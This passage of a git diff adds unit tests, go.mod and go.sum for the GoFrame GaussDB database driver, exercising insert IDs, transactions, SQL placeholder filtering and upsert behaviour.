"create_time": gdb.Raw("now()"),
|
||||
}).Where("id", 1).Update()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
user := db.Model(table)
|
||||
n, err := user.Where("id", 101).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(n, int64(1))
|
||||
})
|
||||
}
|
||||
106
contrib/drivers/gaussdb/gaussdb_z_unit_test.go
Normal file
106
contrib/drivers/gaussdb/gaussdb_z_unit_test.go
Normal file
@ -0,0 +1,106 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/os/gctx"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
|
||||
"github.com/gogf/gf/contrib/drivers/gaussdb/v2"
|
||||
)
|
||||
|
||||
func Test_LastInsertId(t *testing.T) {
|
||||
// err not nil
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
_, err := db.Model("notexist").Insert(g.List{
|
||||
{"name": "user1"},
|
||||
{"name": "user2"},
|
||||
{"name": "user3"},
|
||||
})
|
||||
t.AssertNE(err, nil)
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
tableName := createTable()
|
||||
defer dropTable(tableName)
|
||||
res, err := db.Model(tableName).Insert(g.List{
|
||||
{"passport": "user1", "password": "pwd", "nickname": "nickname", "create_time": CreateTime},
|
||||
{"passport": "user2", "password": "pwd", "nickname": "nickname", "create_time": CreateTime},
|
||||
{"passport": "user3", "password": "pwd", "nickname": "nickname", "create_time": CreateTime},
|
||||
})
|
||||
t.AssertNil(err)
|
||||
lastInsertId, err := res.LastInsertId()
|
||||
t.AssertNil(err)
|
||||
t.Assert(lastInsertId, int64(3))
|
||||
rowsAffected, err := res.RowsAffected()
|
||||
t.AssertNil(err)
|
||||
t.Assert(rowsAffected, int64(3))
|
||||
})
|
||||
}
|
||||
|
||||
func Test_TxLastInsertId(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
tableName := createTable()
|
||||
defer dropTable(tableName)
|
||||
err := db.Transaction(context.TODO(), func(ctx context.Context, tx gdb.TX) error {
|
||||
// user
|
||||
res, err := tx.Model(tableName).Insert(g.List{
|
||||
{"passport": "user1", "password": "pwd", "nickname": "nickname", "create_time": CreateTime},
|
||||
{"passport": "user2", "password": "pwd", "nickname": "nickname", "create_time": CreateTime},
|
||||
{"passport": "user3", "password": "pwd", "nickname": "nickname", "create_time": CreateTime},
|
||||
})
|
||||
t.AssertNil(err)
|
||||
lastInsertId, err := res.LastInsertId()
|
||||
t.AssertNil(err)
|
||||
t.AssertEQ(lastInsertId, int64(3))
|
||||
rowsAffected, err := res.RowsAffected()
|
||||
t.AssertNil(err)
|
||||
t.AssertEQ(rowsAffected, int64(3))
|
||||
|
||||
res1, err := tx.Model(tableName).Insert(g.List{
|
||||
{"passport": "user4", "password": "pwd", "nickname": "nickname", "create_time": CreateTime},
|
||||
{"passport": "user5", "password": "pwd", "nickname": "nickname", "create_time": CreateTime},
|
||||
})
|
||||
t.AssertNil(err)
|
||||
lastInsertId1, err := res1.LastInsertId()
|
||||
t.AssertNil(err)
|
||||
t.AssertEQ(lastInsertId1, int64(5))
|
||||
rowsAffected1, err := res1.RowsAffected()
|
||||
t.AssertNil(err)
|
||||
t.AssertEQ(rowsAffected1, int64(2))
|
||||
return nil
|
||||
|
||||
})
|
||||
t.AssertNil(err)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Driver_DoFilter(t *testing.T) {
|
||||
var (
|
||||
ctx = gctx.New()
|
||||
driver = gaussdb.Driver{}
|
||||
)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
var data = g.Map{
|
||||
`select * from user where (role)::jsonb ?| 'admin'`: `select * from user where (role)::jsonb ?| 'admin'`,
|
||||
`select * from user where (role)::jsonb ?| '?'`: `select * from user where (role)::jsonb ?| '$2'`,
|
||||
`select * from user where (role)::jsonb &? '?'`: `select * from user where (role)::jsonb &? '$2'`,
|
||||
`select * from user where (role)::jsonb ? '?'`: `select * from user where (role)::jsonb ? '$2'`,
|
||||
`select * from user where '?'`: `select * from user where '$1'`,
|
||||
}
|
||||
for k, v := range data {
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, k, nil)
|
||||
t.AssertNil(err)
|
||||
t.Assert(newSql, v)
|
||||
}
|
||||
})
|
||||
}
|
||||
267
contrib/drivers/gaussdb/gaussdb_z_unit_upsert_test.go
Normal file
267
contrib/drivers/gaussdb/gaussdb_z_unit_upsert_test.go
Normal file
@ -0,0 +1,267 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb_test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
// Test_FormatUpsert_WithOnDuplicateStr tests FormatUpsert with OnDuplicateStr
|
||||
func Test_FormatUpsert_WithOnDuplicateStr(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert initial data
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"passport": "user1",
|
||||
"password": "pwd",
|
||||
"nickname": "nick1",
|
||||
"create_time": CreateTime,
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test Save with OnConflict (upsert)
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "user1",
|
||||
"password": "newpwd",
|
||||
"nickname": "newnick",
|
||||
"create_time": CreateTime,
|
||||
}).OnConflict("id").Save()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Verify the update
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["password"].String(), "newpwd")
|
||||
t.Assert(one["nickname"].String(), "newnick")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_FormatUpsert_WithOnDuplicateMap tests FormatUpsert with OnDuplicateMap
|
||||
func Test_FormatUpsert_WithOnDuplicateMap(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert initial data
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"passport": "user2",
|
||||
"password": "pwd",
|
||||
"nickname": "nick2",
|
||||
"create_time": CreateTime,
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test OnDuplicate with map - values should be column names to use EXCLUDED.column
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "user2",
|
||||
"password": "newpwd2",
|
||||
"nickname": "newnick2",
|
||||
"create_time": CreateTime,
|
||||
}).OnConflict("id").OnDuplicate(g.Map{
|
||||
"password": "password",
|
||||
"nickname": "nickname",
|
||||
}).Save()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Verify - values should be from the inserted data
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["password"].String(), "newpwd2")
|
||||
t.Assert(one["nickname"].String(), "newnick2")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_FormatUpsert_WithCounter tests FormatUpsert with Counter type on numeric column.
|
||||
// Note: In PostgreSQL, Counter uses EXCLUDED.column which references the NEW value being inserted,
|
||||
// not the current table value. This differs from MySQL's ON DUPLICATE KEY UPDATE behavior.
|
||||
func Test_FormatUpsert_WithCounter(t *testing.T) {
|
||||
// Create a special table with numeric id for counter test
|
||||
tableName := "t_counter_test"
|
||||
dropTable(tableName)
|
||||
_, err := db.Exec(ctx, `
|
||||
CREATE TABLE `+tableName+` (
|
||||
id bigserial PRIMARY KEY,
|
||||
counter_value int NOT NULL DEFAULT 0,
|
||||
name varchar(45)
|
||||
)
|
||||
`)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
return
|
||||
}
|
||||
defer dropTable(tableName)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert initial data
|
||||
_, err := db.Model(tableName).Data(g.Map{
|
||||
"counter_value": 10,
|
||||
"name": "counter_test",
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Get initial ID
|
||||
one, err := db.Model(tableName).Where("name", "counter_test").One()
|
||||
t.AssertNil(err)
|
||||
initialId := one["id"].Int64()
|
||||
|
||||
// Test OnDuplicate with Counter
|
||||
// In PostgreSQL: counter_value = EXCLUDED.counter_value + 5
|
||||
// EXCLUDED.counter_value is the value we're trying to insert (20)
|
||||
// So result = 20 + 5 = 25
|
||||
_, err = db.Model(tableName).Data(g.Map{
|
||||
"id": initialId,
|
||||
"counter_value": 20, // This is the EXCLUDED value
|
||||
"name": "counter_test",
|
||||
}).OnConflict("id").OnDuplicate(g.Map{
|
||||
"counter_value": &gdb.Counter{
|
||||
Field: "counter_value",
|
||||
Value: 5,
|
||||
},
|
||||
}).Save()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Verify: EXCLUDED.counter_value(20) + 5 = 25
|
||||
one, err = db.Model(tableName).Where("id", initialId).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["counter_value"].Int(), 25)
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test Counter with negative value (decrement)
|
||||
one, err := db.Model(tableName).Where("name", "counter_test").One()
|
||||
t.AssertNil(err)
|
||||
initialId := one["id"].Int64()
|
||||
|
||||
// In PostgreSQL: counter_value = EXCLUDED.counter_value - 3
|
||||
// EXCLUDED.counter_value is 100, so result = 100 - 3 = 97
|
||||
_, err = db.Model(tableName).Data(g.Map{
|
||||
"id": initialId,
|
||||
"counter_value": 100, // This is the EXCLUDED value
|
||||
"name": "counter_test",
|
||||
}).OnConflict("id").OnDuplicate(g.Map{
|
||||
"counter_value": &gdb.Counter{
|
||||
Field: "counter_value",
|
||||
Value: -3,
|
||||
},
|
||||
}).Save()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Verify: EXCLUDED.counter_value(100) - 3 = 97
|
||||
one, err = db.Model(tableName).Where("id", initialId).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["counter_value"].Int(), 97)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_FormatUpsert_WithRaw tests FormatUpsert with Raw type
|
||||
func Test_FormatUpsert_WithRaw(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert initial data
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"passport": "raw_user",
|
||||
"password": "pwd",
|
||||
"nickname": "nick",
|
||||
"create_time": CreateTime,
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Get initial ID
|
||||
one, err := db.Model(table).Where("passport", "raw_user").One()
|
||||
t.AssertNil(err)
|
||||
initialId := one["id"].Int64()
|
||||
|
||||
// Test OnDuplicate with Raw SQL
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": initialId,
|
||||
"passport": "raw_user",
|
||||
"password": "pwd",
|
||||
"nickname": "nick",
|
||||
"create_time": CreateTime,
|
||||
}).OnConflict("id").OnDuplicate(g.Map{
|
||||
"password": gdb.Raw("'raw_password'"),
|
||||
}).Save()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Verify
|
||||
one, err = db.Model(table).Where("id", initialId).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["password"].String(), "raw_password")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_FormatUpsert_NoOnConflict tests FormatUpsert without OnConflict (should fail)
|
||||
func Test_FormatUpsert_NoOnConflict(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert initial data
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"passport": "no_conflict_user",
|
||||
"password": "pwd",
|
||||
"nickname": "nick",
|
||||
"create_time": CreateTime,
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Try Save without OnConflict and without primary key in data - should fail
|
||||
// because driver cannot auto-detect conflict columns when primary key is missing
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
// "id": 1,
|
||||
"passport": "no_conflict_user",
|
||||
"password": "newpwd",
|
||||
"nickname": "newnick",
|
||||
"create_time": CreateTime,
|
||||
}).Save()
|
||||
t.AssertNE(err, nil)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_FormatUpsert_MultipleConflictKeys tests FormatUpsert with multiple conflict keys
|
||||
func Test_FormatUpsert_MultipleConflictKeys(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert initial data
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"passport": "multi_key_user",
|
||||
"password": "pwd",
|
||||
"nickname": "nick",
|
||||
"create_time": CreateTime,
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test with multiple conflict keys using only "id" which has a unique constraint
|
||||
// Note: Using multiple keys requires a composite unique constraint to exist
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "multi_key_user",
|
||||
"password": "newpwd",
|
||||
"nickname": "newnick",
|
||||
"create_time": CreateTime,
|
||||
}).OnConflict("id").Save()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Verify the update
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["password"].String(), "newpwd")
|
||||
t.Assert(one["nickname"].String(), "newnick")
|
||||
})
|
||||
}
|
||||
47
contrib/drivers/gaussdb/go.mod
Normal file
47
contrib/drivers/gaussdb/go.mod
Normal file
@ -0,0 +1,47 @@
|
||||
module github.com/gogf/gf/contrib/drivers/gaussdb/v2
|
||||
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
gitee.com/opengauss/openGauss-connector-go-pq v1.0.7
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/lib/pq v1.10.9
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/BurntSushi/toml v1.5.0 // indirect
|
||||
github.com/clbanning/mxj/v2 v2.7.0 // indirect
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha // indirect
|
||||
github.com/fatih/color v1.18.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.9.0 // indirect
|
||||
github.com/go-logr/logr v1.4.3 // indirect
|
||||
github.com/go-logr/stdr v1.2.2 // indirect
|
||||
github.com/gorilla/websocket v1.5.3 // indirect
|
||||
github.com/grokify/html-strip-tags-go v0.1.0 // indirect
|
||||
github.com/magiconair/properties v1.8.10 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.16 // indirect
|
||||
github.com/olekukonko/errors v1.1.0 // indirect
|
||||
github.com/olekukonko/ll v0.0.9 // indirect
|
||||
github.com/olekukonko/tablewriter v1.1.0 // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
github.com/tjfoc/gmsm v1.4.1 // indirect
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 // indirect
|
||||
go.opentelemetry.io/otel v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.38.0 // indirect
|
||||
golang.org/x/crypto v0.38.0 // indirect
|
||||
golang.org/x/net v0.40.0 // indirect
|
||||
golang.org/x/sys v0.35.0 // indirect
|
||||
golang.org/x/text v0.25.0 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
||||
|
||||
replace (
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 => ../mysql
|
||||
github.com/gogf/gf/v2 => ../../../
|
||||
)
|
||||
171
contrib/drivers/gaussdb/go.sum
Normal file
171
contrib/drivers/gaussdb/go.sum
Normal file
@ -0,0 +1,171 @@
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
gitee.com/opengauss/openGauss-connector-go-pq v1.0.7 h1:plLidoldV5RfMU6i/I+tvRKtP3sfDyUzQ//HGXLLsZo=
|
||||
gitee.com/opengauss/openGauss-connector-go-pq v1.0.7/go.mod h1:2UEp+ug6ls6C0pLfZgBn7VBzBntFUzxJuy+6FlQ7qyI=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/toml v1.5.0 h1:W5quZX/G/csjUnuI8SUYlsHs9M38FC7znL0lIO+DvMg=
|
||||
github.com/BurntSushi/toml v1.5.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/clbanning/mxj/v2 v2.7.0 h1:WA/La7UGCanFe5NpHF0Q3DNtnCsVoxbPKuyBNHWRyME=
|
||||
github.com/clbanning/mxj/v2 v2.7.0/go.mod h1:hNiWqW14h+kc+MdF9C6/YoRfjEJoR3ou6tn/Qo+ve2s=
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha h1:dwFlh8pBg1VMOXWGipNMRt8v96dKAIvBehtCt6OtunU=
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha/go.mod h1:W0y4M2dtBB9U5z3YlghmpuUhiaZT2h6yoeE+C1sCp6A=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
||||
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
||||
github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=
|
||||
github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
|
||||
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
|
||||
github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
|
||||
github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
||||
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
||||
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
||||
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
||||
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/grokify/html-strip-tags-go v0.1.0 h1:03UrQLjAny8xci+R+qjCce/MYnpNXCtgzltlQbOBae4=
|
||||
github.com/grokify/html-strip-tags-go v0.1.0/go.mod h1:ZdzgfHEzAfz9X6Xe5eBLVblWIxXfYSQ40S/VKrAOGpc=
|
||||
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw=
|
||||
github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
|
||||
github.com/magiconair/properties v1.8.10 h1:s31yESBquKXCV9a/ScB3ESkOjUYYv+X0rg8SYxI99mE=
|
||||
github.com/magiconair/properties v1.8.10/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
|
||||
github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/olekukonko/errors v1.1.0 h1:RNuGIh15QdDenh+hNvKrJkmxxjV4hcS50Db478Ou5sM=
|
||||
github.com/olekukonko/errors v1.1.0/go.mod h1:ppzxA5jBKcO1vIpCXQ9ZqgDh8iwODz6OXIGKU8r5m4Y=
|
||||
github.com/olekukonko/ll v0.0.9 h1:Y+1YqDfVkqMWuEQMclsF9HUR5+a82+dxJuL1HHSRpxI=
|
||||
github.com/olekukonko/ll v0.0.9/go.mod h1:En+sEW0JNETl26+K8eZ6/W4UQ7CYSrrgg/EdIYT2H8g=
|
||||
github.com/olekukonko/tablewriter v1.1.0 h1:N0LHrshF4T39KvI96fn6GT8HEjXRXYNDrDjKFDB7RIY=
|
||||
github.com/olekukonko/tablewriter v1.1.0/go.mod h1:5c+EBPeSqvXnLLgkm9isDdzR3wjfBkHR9Nhfp3NWrzo=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
|
||||
github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
